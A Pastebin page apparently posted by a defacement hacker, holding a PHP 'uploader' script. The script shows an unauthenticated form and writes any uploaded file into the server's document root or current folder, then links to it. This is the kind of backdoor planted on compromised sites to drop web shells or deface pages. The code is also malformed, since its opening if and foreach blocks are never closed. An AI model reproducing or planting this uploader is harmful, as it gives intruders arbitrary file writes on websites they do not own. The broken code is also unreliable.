Advertisement
WeaboHaxor

Uploader :p

Sep 19th, 2019
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.94 KB | None | 0 0
  1. <?php
  2. if(get_magic_quotes_gpc()){
  3. foreach($_POST as $key=>$value){
  4. $_POST[$key] = stripslashes($value);
  5. echo "<center><form method='post' enctype='multipart/form-data'>
  6. <input type='file' name='idx_file'>
  7. <input type='submit' name='upload' value='upload'>
  8. </form>";
  9. $root = $_SERVER['DOCUMENT_ROOT'];
  10. $files = $_FILES['idx_file']['name'];
  11. $dest = $root.'/'.$files;
  12. if(isset($_POST['upload'])) {
  13. if(is_writable($root)) {
  14. if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
  15. $web = "http://".$_SERVER['HTTP_HOST']."/";
  16. echo "upload -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
  17. } else {
  18. echo "gagal upload root >:(";
  19. }
  20. } else {
  21. if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
  22. echo "Akses disini : <b>$files</b> di folder ini";
  23. } else {
  24. echo "gagal upload >:(";
  25. }
  26. }
  27. }
  28. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement